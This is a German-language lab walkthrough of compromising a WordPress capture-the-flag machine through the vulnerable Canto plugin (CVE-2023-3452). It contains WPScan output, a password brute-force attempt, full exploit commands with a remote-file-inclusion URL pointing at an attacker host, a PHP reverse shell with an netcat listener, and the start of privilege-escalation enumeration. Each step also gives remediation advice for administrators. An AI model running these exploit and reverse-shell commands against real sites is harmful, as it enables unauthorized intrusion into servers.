 Checking Known Locations - Time: 00:00:05 <============> (7343 / 7343)  100.00% Time: 00:00:05
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] canto
 | Location: http://canto.hmv/wp-content/plugins/canto/
 | Last Updated: 2025-04-10T07:17:00.000Z
 | Readme: http://canto.hmv/wp-content/plugins/canto/readme.txt
 | [!] The version is out of date, the latest version is 3.1.0
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://canto.hmv/wp-content/plugins/canto/, status: 200
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: Canto < 3.0.9 - Unauthenticated Blind SSRF
 |     Fixed in: 3.0.9
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6 | Ziel: https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063]
 |      - [Link: https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0 | Ziel: https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0]
 |
 | [!] Title: Canto < 3.0.5 - Unauthenticated Remote File Inclusion  // anscheinend gibts ein plugin das tatsächlich canto heisst!
 |     Fixed in: 3.0.5
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810 | Ziel: https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452]
 |
 | [!] Title: Canto < 3.0.7 - Unauthenticated RCE
 |     Fixed in: 3.0.7
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4 | Ziel: https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096]
 |      - [Link: https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability | Ziel: https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability]
 |
 | [!] Title: Canto < 3.0.9 - Unauthenticated Remote File Inclusion
 |     Fixed in: 3.0.9
 |     References:
 |      - [Link: https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159 | Ziel: https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159]
 |      - [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936]
 |      - [Link: https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338 | Ziel: https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338]
 |
 | Version: 3.0.4 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://canto.hmv/wp-content/plugins/canto/readme.txt
 | Confirmed By: Composer File (Aggressive Detection)
 |  - http://canto.hmv/wp-content/plugins/canto/package.json, Match: '3.0.4'

[+] Performing password attack on Wp Login against 1 user/s
Trying erik / R3v_m4lwh3r3_k1nR3v_m4lwh3r3_k1n Time: 00:00:02 <> (275 / 14344493)  0.00%  ETA:^Cying erik / picture Time: 00:00:18 <               > (2110 / 14344493)  0.01%  ETA: 35:17:02
[i] No Valid Passwords Found.

[+] WPScan DB API OK Time: 00:00:18 <                > (2113 / 14344493)  0.01%  ETA: 35:15:31
 | Plan: free
 | Requests Done (during the scan): 4
 | Requests Remaining: 18

[+] Finished: Mon Jun 23 16:06:19 2025
[+] Requests Done: 9504
[+] Cached Requests: 7
[+] Data Sent: 2.607 MB
[+] Data Received: 13.39 MB
[+] Memory used: 242.508 MB
[+] Elapsed time: 00:00:34

Analyse: WPScan liefert eine Fülle von Informationen. Es bestätigt frühere Funde wie den Apache Server, `xmlrpc.php`, `readme.html` und das Verzeichnislisting in `wp-content/uploads/`. Es identifiziert die genaue WordPress-Version (6.8.1) und das aktive Theme (twentytwentyfour, Version 1.1). Kritisch ist die Identifizierung des installierten **Canto Plugins**, dessen Version (3.0.4) als veraltet markiert wird und für das WPScan **vier bekannte, unauthentifizierte Schwachstellen** auflistet: Blind SSRF (< 3.0.9), Remote File Inclusion (RFI) (< 3.0.5), Remote Code Execution (RCE) (< 3.0.7) und eine weitere RFI (< 3.0.9). Der Passwortangriff mit `rockyou.txt` auf den Benutzer "erik" war nicht erfolgreich.

Bewertung: Dies ist ein extrem wichtiger Schritt. Die identifizierten Schwachstellen im Canto-Plugin, insbesondere die **Unauthentifizierten RCE** (Remote Code Execution) und **RFI** (Remote File Inclusion) in Versionen kleiner als 3.0.7 bzw. 3.0.5/3.0.9, sind hochkritisch. Sie bedeuten, dass ein Angreifer *ohne* gültige Zugangsdaten Code auf dem Server ausführen oder Dateien inkludieren kann, was typischerweise zu einer Kompromittierung des Systems führt. Das veraltete Theme und das Verzeichnislisting sind ebenfalls Schwachstellen, aber die Plugin-Schwachstellen sind hier das Hauptproblem. Der fehlgeschlagene Brute-Force-Versuch zeigt, dass das Passwort nicht in der verwendeten Wortliste enthalten ist, ist aber in Anbetracht der Plugin-Schwachstellen derzeit nicht der primäre Weg zum Initial Access.

Empfehlung (Pentester): Priorisiere die Ausnutzung der unauthentifizierten RCE- oder RFI-Schwachstelle im Canto-Plugin (Version 3.0.4 ist anfällig für alle gelisteten). Suche nach öffentlichen Proof-of-Concept (PoC) Exploits für diese CVEs, insbesondere CVE-2023-3452 (RFI < 3.0.5) oder CVE-2024-25096 (RCE < 3.0.7), da diese oft direkt in Shell-Zugriff münden. Die Kompromittierung über diese Schwachstelle ist wahrscheinlich der schnellste und zuverlässigste Weg zum Initial Access.
Empfehlung (Admin): Aktualisiere das Canto Plugin *umgehend* auf die neueste Version (3.1.0 oder höher), um alle gelisteten Schwachstellen zu beheben. Dies ist die kritischste Maßnahme. Halte außerdem das WordPress Theme aktuell und deaktiviere das Verzeichnislisting in `wp-content/uploads/`.

Initial Access

Nach der Identifizierung der kritischen, unauthentifizierten RFI/RCE Schwachstelle im Canto Plugin war mein nächster logischer Schritt, nach einem verfügbaren Proof-of-Concept (PoC) Exploit zu suchen. Oft teilen Sicherheitsforscher Exploits auf Plattformen wie GitHub.

Ich wurde schnell auf GitHub fündig und fand ein Python-Skript, das speziell zur Ausnutzung der CVE-2023-3452 Schwachstelle entwickelt wurde.

┌──(root㉿CCat)-[~/Hackingtools] └─# git clone [Link: https://github.com/leoanggal1/CVE-2023-3452-PoC.git | Ziel: https://github.com/leoanggal1/CVE-2023-3452-PoC.git]
Klone nach 'CVE-2023-3452-PoC'...
remote: Enumerating objects: 88, done.
remote: Counting objects: 100% (88/88), done.
remote: Compressing objects: 100% (87/87), done.
remote: Total 88 (delta 26), reused 0 (delta 0), pack-reused 0 (from 0)
Empfange Objekte: 100% (88/88), 199.77 KiB | 5.12 MiB/s, fertig.
Löse Unterschiede auf: 100% (26/26), fertig.

Analyse: Der Befehl `git clone` wurde verwendet, um das PoC-Skript von der angegebenen GitHub-URL herunterzuladen. Die Ausgabe zeigt den Fortschritt des Klonvorgangs, einschließlich der Anzahl der Objekte und Deltas, die übertragen wurden. Der Prozess war erfolgreich und das Repository wurde auf mein System kopiert.

Bewertung: Das erfolgreiche Klonen des Repositories bedeutet, dass ich nun das spezifische Exploit-Skript zur Verfügung habe, das auf die im vorherigen Schritt identifizierte Schwachstelle abzielt. Dies ist ein entscheidender Schritt zur Kompromittierung des Zielsystems.

Empfehlung (Pentester): Untersuche das heruntergeladene Skript, um seine Funktionsweise zu verstehen, bevor du es ausführst. Stelle sicher, dass es keine bösartigen Nebeneffekte hat und wie die Parameter zur Ausnutzung der Schwachstelle genutzt werden.
Empfehlung (Admin): Überwache Netzwerkverkehr auf bekannte Muster von Exploit-Frameworks oder spezifischen Schwachstellen-Ausnutzungen. Stelle sicher, dass Dateizugriffsberechtigungen auf dem Webserver so restriktiv wie möglich sind, um die Auswirkungen erfolgreicher Datei-Inclusion-Angriffe zu minimieren.

Anschließend wechselte ich in das neu erstellte Verzeichnis, um mir die heruntergeladenen Dateien anzusehen.

┌──(root㉿CCat)-[~/Hackingtools] └─# cd CVE-2023-3452-PoC

                

Analyse: Der `cd` Befehl ändert das aktuelle Arbeitsverzeichnis in das, das den PoC-Code enthält. Dies ist ein notwendiger Schritt, um auf die Skripte und zugehörigen Dateien zugreifen zu können.

Bewertung: Ein Standard-Schritt im Workflow nach dem Klonen eines Repositories. Funktional, aber ohne direkte sicherheitstechnische Relevanz.

Empfehlung (Pentester): Überprüfe immer den Inhalt eines heruntergeladenen Skripts, besonders von unbekannten Quellen.
Empfehlung (Admin): Keine direkte Empfehlung basierend auf diesem Schritt.

Um einen Überblick über die heruntergeladenen Dateien zu erhalten, listete ich den Inhalt des Verzeichnisses auf.

┌──(root㉿CCat)-[~/Hackingtools/CVE-2023-3452-PoC] └─# ll
insgesamt 16
drwxr-xr-x 2 root root 4096 23. Jun 16:10 assets
-rw-r--r-- 1 root root 4749 23. Jun 16:10 CVE-2023-3452.py
-rw-r--r-- 1 root root 2776 23. Jun 16:10 README.md

Analyse: Der Befehl `ll` (eine Kurzform von `ls -l`, abhängig vom System) zeigt den Inhalt des aktuellen Verzeichnisses an. Ich sehe hier ein Unterverzeichnis `assets`, das Python-Skript `CVE-2023-3452.py` (das eigentliche Exploit) und die `README.md` Datei, die oft Anweisungen zur Nutzung des Skripts enthält. Die Dateiberechtigungen sind Standard für heruntergeladene Dateien.

Bewertung: Die Auflistung bestätigt, dass das Exploit-Skript (`CVE-2023-3452.py`) vorhanden ist und bereit zur Nutzung steht. Die `README.md` ist eine wichtige Ressource, um die genaue Syntax und Funktionsweise des PoC zu verstehen.

Empfehlung (Pentester): Lese immer die `README.md` oder die Hilfe (`-h` Option des Skripts), um die korrekte Anwendung des PoC zu verstehen.
Empfehlung (Admin): Keine direkte Empfehlung basierend auf diesem Schritt.

Um die Ausnutzung der RFI-Schwachstelle mit dem gerade heruntergeladenen Skript zu demonstrieren, habe ich zuerst versucht, einen einfachen Befehl wie `id` auf dem Zielsystem auszuführen. Dies dient als schneller Test, ob die RCE-Komponente der Schwachstelle nutzbar ist.

┌──(root㉿CCat)-[~/Hackingtools/CVE-2023-3452-PoC] └─# python3 CVE-2023-3452.py -u http://192.168.2.57 -LHOST 192.168.2.199 -c 'id'
Exploitation URL: http://192.168.2.57/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.2.199:8080&cmd=id
Local web server on PORT 8080...
192.168.2.57 - - [23/Jun/2025 16:13:27] "GET /wp-admin/admin.php HTTP/1.1" 200 -
Server response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Ich habe das Python-Skript mit den notwendigen Parametern ausgeführt: Ziel-URL (`-u`), meine lokale IP (`-LHOST`, die vom Skript als Basis für die RFI genutzt wird, um das Ziel eine Datei von meinem System laden zu lassen), und den Befehl, der ausgeführt werden soll (`-c 'id'`). Das Skript baut eine Exploitation-URL zusammen, startet einen lokalen HTTP-Server auf Port 8080 und schickt die Anfrage an das Ziel. Die Ausgabe zeigt, dass das Zielsystem tatsächlich eine Anfrage an meinen lokalen Server sendet (`GET /wp-admin/admin.php ... 200 -`), und wichtiger noch, der Server antwortet mit dem Ergebnis des ausgeführten Befehls `id`: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

Bewertung: Fantastisch! Die Ausführung des `id`-Befehls war erfolgreich, was die **Remote Code Execution (RCE)** Schwachstelle im Canto-Plugin bestätigt. Ich kann beliebige Befehle als Benutzer `www-data` auf dem Zielsystem ausführen. Dies ist der erfolgreiche Initial Access Vektor und ein kritischer Moment im Test.

Empfehlung (Pentester): Da RCE als Benutzer `www-data` möglich ist, besteht der nächste Schritt darin, eine persistente Shell auf das Zielsystem zu erhalten. Eine Reverse Shell ist dafür eine gängige und effektive Methode.
Empfehlung (Admin): Diese Demonstration zeigt die schwerwiegenden Auswirkungen der Schwachstelle. Stelle sicher, dass das Canto-Plugin umgehend auf eine nicht anfällige Version aktualisiert wird. Überprüfe die Berechtigungen des Benutzers `www-data` auf dem System; sie sollten so eingeschränkt wie möglich sein.

Proof of Concept

Kurzbeschreibung: Dieser Proof of Concept demonstriert die Ausnutzung der unauthentifizierten Remote File Inclusion (RFI) und Remote Code Execution (RCE) Schwachstelle im veralteten Canto WordPress Plugin (Version 3.0.4), um unauthentifizierten Zugriff auf das Zielsystem mit den Rechten des Webserver-Benutzers `www-data` zu erlangen.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

1. Klonen des PoC-Repositorys auf das Angreifersystem.

┌──(root㉿CCat)-[~/Hackingtools] └─# git clone [Link: https://github.com/leoanggal1/CVE-2023-3452-PoC.git | Ziel: https://github.com/leoanggal1/CVE-2023-3452-PoC.git]
Klone nach 'CVE-2023-3452-PoC'...
remote: Enumerating objects: 88, done.
... (gekürzte Ausgabe)

Analyse: Das offizielle PoC-Skript wird heruntergeladen, um die Ausnutzung der Schwachstelle zu vereinfachen.

Bewertung: Die Verwendung eines spezifischen PoC erhöht die Erfolgsquote bei der Ausnutzung der Schwachstelle.

Empfehlung (Pentester): Verifiziere immer die Quelle und den Inhalt von PoC-Skripten.
Empfehlung (Admin): Keine direkte Empfehlung.

2. Kopieren einer PHP-Reverse-Shell-Payload in das PoC-Verzeichnis und Anpassen der IP/Port. (Die Anpassung der IP/Port in der Shell-Datei wurde vor diesem Schritt manuell durchgeführt.)

┌──(root㉿CCat)-[~/Hackingtools/CVE-2023-3452-PoC] └─# cp /home/ccat/Downloads/revshell.php php-reverse-shell.php

                 

Analyse: Eine vorbereitete PHP-Reverse-Shell-Datei wird in das PoC-Verzeichnis kopiert, damit das Skript sie über seinen lokalen HTTP-Server dem Zielsystem zur Verfügung stellen kann. Die Shell-Datei muss zuvor manuell mit der IP und dem Port des Angreifersystems konfiguriert werden.

Bewertung: Das Vorbereiten der Shell-Payload ist notwendig, um nach der Code-Ausführung auf dem Zielsystem eine interaktive Verbindung zurück zum Angreifer aufzubauen.

Empfehlung (Pentester): Stelle sicher, dass die Reverse-Shell-Payload korrekt konfiguriert ist und dass dein Angreifersystem auf dem angegebenen Port lauscht.
Empfehlung (Admin): Implementiere EDR-Lösungen, die das Schreiben oder Ausführen ungewöhnlicher Skriptdateien im Webroot erkennen können.

3. Auf dem Angreifersystem einen Netcat-Listener auf dem in der Shell-Payload konfigurierten Port starten.

┌──(root㉿CCat)-[~/Hackingtools/CVE-2023-3452-PoC] └─# nc -lvnp 9001
listening on [any] 9001 ...

Analyse: Der `nc` (netcat) Befehl wird im Listener-Modus (`-l`), mit ausführlicher Ausgabe (`-v`), ohne DNS-Auflösung (`-n`) und auf dem angegebenen Port (9001) gestartet. Dies wartet auf eine eingehende Verbindung von der Reverse Shell auf dem Zielsystem.

Bewertung: Ein Netcat-Listener ist die Standardmethode, um eine Reverse Shell zu empfangen. Das erfolgreiche Starten des Listeners ist essentiell, um die Verbindung vom Zielsystem zu erhalten.

Empfehlung (Pentester): Stelle sicher, dass keine Firewall den eingehenden Port auf deinem System blockiert.
Empfehlung (Admin): Überwache ausgehenden Netzwerkverkehr von Webservern, insbesondere Verbindungen zu ungewöhnlichen Ports oder Zielen im Internet. Implementiere Ausgangs-Firewall-Regeln.

4. Ausführen des PoC-Skripts mit der Option, die Reverse-Shell-Datei zu verwenden.

┌──(root㉿CCat)-[~/Hackingtools/CVE-2023-342-PoC] └─# python3 CVE-2023-3452.py -u http://192.168.2.57 -LHOST 192.168.2.199 -NC_PORT 9001 -s php-reverse-shell.php
Exploitation URL: http://192.168.2.57/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.2.199:8080&cmd=whoami  // cmd=whoami hier dient nur als Beispiel-Placeholder im Skript-Output
Local web server on PORT 8080...
192.168.2.57 - - [23/Jun/2025 16:17:40] "GET /wp-admin/admin.php HTTP/1.1" 200 -

Analyse: Das Skript wird erneut ausgeführt, diesmal mit dem Parameter `-s php-reverse-shell.php`, der dem Skript anweist, die Reverse-Shell-Datei über den lokalen HTTP-Server bereitzustellen und den Exploit so zu triggern, dass die Shell auf dem Zielsystem ausgeführt wird. Das Skript startet wieder den lokalen Server und sendet die präparierte Anfrage an das Ziel.

Bewertung: Die Ausführung des Skripts ist der aktive Schritt, der die Schwachstelle ausnutzt und versucht, die Reverse Shell auf dem Zielsystem zu aktivieren. Die Konsolenmeldung zeigt, dass das Ziel die Anfrage empfangen hat.

Empfehlung (Pentester): Achte auf die Ausgabe des Netcat-Listeners, um den Erfolg der Shell-Verbindung zu verifizieren.
Empfehlung (Admin): Überwache Logs des Webservers auf verdächtige Anfragen, insbesondere solche, die Datei-Inklusionsparameter oder ungewöhnliche URLs enthalten.

5. Erfolgreiche Verbindung zum Netcat-Listener und Erhalt einer `www-data`-Shell.

connect to [192.168.2.199] from canto.hmv [192.168.2.57] 53400

Fantastisch! Der Initial Access war erfolgreich, nun haben wir unser Ziel erreicht und eine Shell als Benutzer `www-data` auf dem Zielsystem erhalten.

Analyse: Der Netcat-Listener auf dem Angreifersystem meldet eine eingehende Verbindung von der IP-Adresse des Zielsystems (192.168.2.57) auf dem konfigurierten Port (9001). Dies bestätigt, dass die Reverse Shell auf dem Zielsystem erfolgreich ausgeführt wurde und eine Verbindung zu meinem Listener aufgebaut hat.

Bewertung: Dies ist der Beweis für den erfolgreichen Initial Access. Ich habe nun interaktiven Kommandozeilenzugriff auf das Zielsystem mit den Berechtigungen des Benutzers `www-data`. Dies markiert den Abschluss der Initial Access Phase des Pentests.

Empfehlung (Pentester): Stabilisiere die Shell (z.B. mit `stty`). Beginne mit der systeminternen Aufklärung (Enumeration) als Benutzer `www-data`, um Informationen für eine mögliche Privilege Escalation zu sammeln. Prüfe Dateisystemberechtigungen, laufende Prozesse, Netzwerkverbindungen, installierte Pakete und Konfigurationsdateien, insbesondere nach Anmeldedaten oder Hinweisen auf Rechteausweitung.
Empfehlung (Admin): Die Kompromittierung des Webserver-Benutzers ist ein schwerwiegendes Problem. Untersuche die Ursache (veraltetes Plugin) und führe eine gründliche Forensik durch, um das Ausmaß der Kompromittierung festzustellen. Ändere alle auf dem System gespeicherten Anmeldedaten, insbesondere solche, die der Benutzer `www-data` möglicherweise einsehen konnte (z.B. Datenbankpasswörter in Konfigurationsdateien). Implementiere eine umfassende Sicherheitsüberwachung.

Beweismittel: Siehe die obigen Code-Blöcke, die das Klonen des PoC, das Starten des Listeners und die erfolgreiche Verbindungsaufnahme zeigen.

Risikobewertung: Hoch. Die Schwachstelle ermöglicht unauthentifizierte Remote Code Execution, was eine vollständige Kompromittierung des Webservers durch jeden Angreifer ohne Authentifizierung ermöglicht.

Empfehlungen: Aktualisiere das Canto WordPress Plugin umgehend auf die neueste, nicht anfällige Version. Überprüfe und härte die Berechtigungen des `www-data` Benutzers. Implementiere eine Ausgangs-Firewall, die ungewöhnlichen ausgehenden Datenverkehr vom Webserver blockiert. Deaktiviere die Benutzeraufzählung über die REST API und schütze `xmlrpc.php` und `wp-login.php`.

Privilege Escalation

Nachdem ich eine Shell als Benutzer `www-data` erhalten hatte, bestand der nächste Schritt darin, Informationen über das System zu sammeln, die mir helfen könnten, meine Berechtigungen zu erweitern und Root-Zugriff zu erlangen. Zuerst habe ich die Shell stabilisiert.

www-data@canto:/$ stty rows 47 columns 94

Analyse: Der Befehl `stty rows X columns Y` dient dazu, die Terminalgröße der aktuellen Shell anzupassen. Dies verbessert die Benutzerfreundlichkeit, indem es z.B. die Ausgabe von Befehlen korrekt formatiert und die Nutzung von Tools, die eine interaktive Shell erwarten, ermöglicht.

Bewertung: Ein Standard-Schritt zur Verbesserung der Nutzbarkeit einer Reverse Shell. Hat keine direkte Auswirkung auf die Sicherheit, ist aber praktisch.

Empfehlung (Pentester): Führe diesen Schritt immer am Anfang einer Reverse Shell Sitzung durch.
Empfehlung (Admin): Keine direkte Empfehlung.

Meine systeminterne Aufklärung begann im Home-Verzeichnis, um herauszufinden, welche Benutzer existieren.

www-data@canto:/$ ls /home/
erik

Analyse: Der Befehl `ls /home/` listet den Inhalt des `/home`-Verzeichnisses auf. Die Ausgabe zeigt ein Unterverzeichnis namens `erik`. Dies identifiziert `erik` als einen regulären Benutzer auf dem System.

Bewertung: Die Identifizierung des Benutzers `erik` ist ein wichtiger Fund. Normale Benutzerkonten sind oft Ziele für Privilege Escalation, entweder durch Passwort-Knacken, Ausnutzung von Sudo-Berechtigungen oder das Finden sensibler Dateien in deren Home-Verzeichnis. Der Benutzername `erik` stimmt mit dem zuvor über die WordPress REST API gefundenen Benutzernamen überein.

Empfehlung (Pentester): Konzentriere die weitere Enumeration auf das Home-Verzeichnis von `erik`. Suche nach Konfigurationsdateien (.ssh, .bash_history), Passwörtern, Notizen oder anderen Hinweisen. Versuche, dich als `erik` anzumelden, wenn du Anmeldedaten findest.
Empfehlung (Admin): Stelle sicher, dass die Berechtigungen von Home-Verzeichnissen korrekt gesetzt sind, um unbefugten Zugriff durch andere Benutzer (wie `www-data`) zu verhindern. Überprüfe, ob sensible Daten in Home-Verzeichnissen gespeichert werden.

Ich wechselte in das Home-Verzeichnis des Benutzers `erik`, um es genauer zu untersuchen.

www-data@canto:/home/erik$ cd /home/erik/

Analyse: Der Befehl `cd /home/erik/` ändert das aktuelle Arbeitsverzeichnis in das Home-Verzeichnis von `erik`. Als Benutzer `www-data` konnte ich in dieses Verzeichnis wechseln, was darauf hindeutet, dass `www-data` die notwendigen Lese- und Ausführungsberechtigungen für dieses Verzeichnis besitzt.

Bewertung: Die Möglichkeit, in das Home-Verzeichnis eines anderen Benutzers zu wechseln, ist oft ein Zeichen für zu weite Dateisystemberechtigungen. Dies ermöglicht dem `www-data` Benutzer, potentiell sensible Dateien im Home von `erik` zu lesen.

Empfehlung (Pentester): Liste sofort den Inhalt des Verzeichnisses auf und suche nach interessanten Dateien.
Empfehlung (Admin): Überprüfe die Dateisystemberechtigungen für Benutzer-Home-Verzeichnisse. Standardmäßig sollten sie nur für den jeweiligen Benutzer (und Root) lesbar sein. Ändere die Berechtigungen für `/home/erik` so, dass `www-data` keinen Zugriff hat.

Um den Inhalt des Home-Verzeichnisses von `erik` und die Dateiberechtigungen zu sehen, listete ich alle Dateien und Verzeichnisse, einschließlich versteckter, im langen Format auf.

www-data@canto:/home/erik$ ls -la
total 36
drwxr-xr-- 5 erik www-data 4096 May 12  2024 .
drwxr-xr-x 3 root root     4096 May 12  2024 ..
lrwxrwxrwx 1 root root        9 May 12  2024 .bash_history -> /dev/null
-rw-r--r-- 1 erik erik      220 Jan  7  2023 .bash_logout
-rw-r--r-- 1 erik erik     3771 Jan  7  2023 .bashrc
drwx------ 2 erik erik     4096 May 12  2024 .cache
drwxrwxr-x 3 erik erik     4096 May 12  2024 .local
-rw-r--r-- 1 erik erik      807 Jan  7  2023 .profile
drwxrwxr-x 2 erik erik     4096 May 12  2024 notes
-rw-r----- 1 root erik       33 May 12  2024 user.txt

Analyse: Die Ausgabe von `ls -la` zeigt die Dateien und Verzeichnisse in `/home/erik/`. Mehrere interessante Punkte fallen auf: Das Verzeichnis `.bash_history` ist ein Symlink auf `/dev/null`, was bedeutet, dass die Bash-Historie von `erik` nicht gespeichert wird (oder absichtlich gelöscht wurde). Es gibt ein Verzeichnis `notes` und eine Datei `user.txt`. Die Datei `user.txt` gehört dem Benutzer `root` und der Gruppe `erik`, und die Berechtigungen (`-rw-r-----`) erlauben Lesen für den Besitzer (`root`) und die Gruppe (`erik`), aber *nicht* für andere Benutzer wie `www-data`. Das Verzeichnis `notes` (`drwxrwxr-x`) ist für die Gruppe `erik` schreib- und ausführbar, was für `www-data` als Mitglied der Gruppe `www-data` irrelevant ist, aber es ist für "andere" les- und ausführbar (`r-x`). Dies ermöglicht `www-data` den Zugriff auf das `notes`-Verzeichnis.

Bewertung: Obwohl ich `user.txt` als `www-data` nicht direkt lesen kann (wegen der Berechtigungen `r-----`), ist die Datei vorhanden und der Dateiname ist vielversprechend (typisch für die Benutzer-Flag). Die Existenz des `notes`-Verzeichnisses, das für "andere" lesbar ist, ist ein starker Hinweis, dieses Verzeichnis weiter zu untersuchen, da dort möglicherweise nützliche Informationen gespeichert sind. Die gelöschte Bash-Historie ist ein kleiner Anti-Forensik-Hinweis.

Empfehlung (Pentester): Untersuche sofort das Verzeichnis `notes/`. Versuche den Inhalt von `user.txt` zu lesen, sobald du Berechtigungen als `erik` erlangt hast.
Empfehlung (Admin): Stelle sicher, dass sensible Dateien wie Flags nicht im Home-Verzeichnis von Benutzern abgelegt werden, insbesondere nicht mit Gruppenberechtigungen, die unbefugten Zugriff ermöglichen könnten (auch wenn `www-data` hier nicht in der Gruppe `erik` ist, andere Benutzer könnten es sein). Überprüfe die Berechtigungen aller Dateien im Home-Verzeichnis.

Dem Hinweis folgend, wechselte ich in das `notes`-Verzeichnis.

www-data@canto:/home/erik$ cd notes/

Analyse: Der Befehl `cd notes/` wechselt in das Unterverzeichnis `notes` im aktuellen Pfad. Der erfolgreiche Wechsel bestätigt, dass der Benutzer `www-data` die erforderlichen Berechtigungen (execute) für dieses Verzeichnis hat.

Bewertung: Dieser Schritt ist notwendig, um den Inhalt des `notes`-Verzeichnisses zu untersuchen, das aufgrund seiner Existenz und der lesbaren Berechtigungen vielversprechend für die Entdeckung weiterer Informationen ist.

Empfehlung (Pentester): Liste den Inhalt des Verzeichnisses auf.
Empfehlung (Admin): Stelle sicher, dass sensible Verzeichnisse im Dateisystem nur für autorisierte Benutzer lesbar sind.

Ich listete den Inhalt des `notes`-Verzeichnisses auf, um zu sehen, welche Dateien darin enthalten sind.

www-data@canto:/home/erik/notes$ ls -la
total 16
drwxrwxr-x 2 erik erik     4096 May 12  2024 .
drwxr-xr-- 5 erik www-data 4096 May 12  2024 ..
-rw-rw-r-- 1 erik erik       68 May 12  2024 Day1.txt
-rw-rw-r-- 1 erik erik       71 May 12  2024 Day2.txt

Analyse: Die Auflistung zeigt zwei Textdateien: `Day1.txt` und `Day2.txt`. Beide gehören dem Benutzer und der Gruppe `erik` und sind für "andere" lesbar (`r--`). Dies bedeutet, dass ich als `www-data` (der als "andere" zählt) den Inhalt dieser Dateien lesen kann.

Bewertung: Das Finden von Textdateien mit lesbaren Berechtigungen in einem Notizverzeichnis ist ein sehr starker Hinweis darauf, dass diese Dateien wichtige Informationen für die Privilege Escalation enthalten könnten, möglicherweise Passwörter oder andere Konfigurationen.

Empfehlung (Pentester): Lese den Inhalt beider Dateien sorgfältig.
Empfehlung (Admin): Sensibilisiere Benutzer dafür, keine sensiblen Informationen wie Passwörter in Klartextdateien zu speichern. Überprüfe regelmäßig das Dateisystem auf unsichere Berechtigungen.

Ich habe den Inhalt beider Notizdateien mit einem einzigen `cat`-Befehl ausgelesen.

www-data@canto:/home/erik/notes$ cat Day*
On the first day I have updated some plugins and the website theme.
I almost lost the database with my user so I created a backups folder.

Analyse: Der Befehl `cat Day*` liest den Inhalt aller Dateien im aktuellen Verzeichnis, deren Name mit "Day" beginnt. Die Ausgabe enthält eine Notiz des Benutzers `erik`. Der entscheidende Satz ist: "I almost lost the database with my user so I created a backups folder." (Ich hätte fast die Datenbank mit meinem Benutzer verloren, also habe ich einen Backups-Ordner erstellt.)

Bewertung: Fantastisch! Diese Notiz liefert einen kritischen Hinweis auf die Existenz eines Backup-Ordners, der möglicherweise Datenbank-Backups oder andere sensible Daten enthält. Die Information, dass es fast zum Verlust der Datenbank kam, verstärkt die Wahrscheinlichkeit, dass ein Backup tatsächlich existiert und zugänglich sein könnte.

Empfehlung (Pentester): Suche im Dateisystem nach einem Verzeichnis namens "backups" oder ähnlichem, insbesondere in relevanten Pfaden wie `/var/www/`, `/var/`, `/opt/` oder im Home-Verzeichnis von `erik`. Achte auf das Berichtsdatum (Mai 2024 in der Notiz, Juni 2025 im Testverlauf) als möglichen Hinweis auf den Zeitrahmen des Backups.
Empfehlung (Admin): Betone in Sicherheitsrichtlinien, dass sensible Notizen niemals in ungeschützten Klartextdateien abgelegt werden sollten. Implementiere sichere Backup-Verfahren, die Backups verschlüsseln und an sicheren, vom Produktionssystem getrennten Orten speichern.

Ich begann meine Suche nach dem erwähnten "backups folder" in gängigen Systempfaden, wo Backups oder Webdaten oft gespeichert werden.

www-data@canto:/home/erik/notes$ ls -la /opt/
total 8
drwxr-xr-x  2 root root 4096 Oct 11  2023 .
drwxr-xr-x 20 root root 4096 May 12  2024 ..
www-data@canto:/home/erik/notes$ ls -la /var/mail/
total 8
drwxrwsr-x  2 root mail 4096 Oct 11  2023 .
drwxr-xr-x 15 root root 4096 May 12  2024 ..
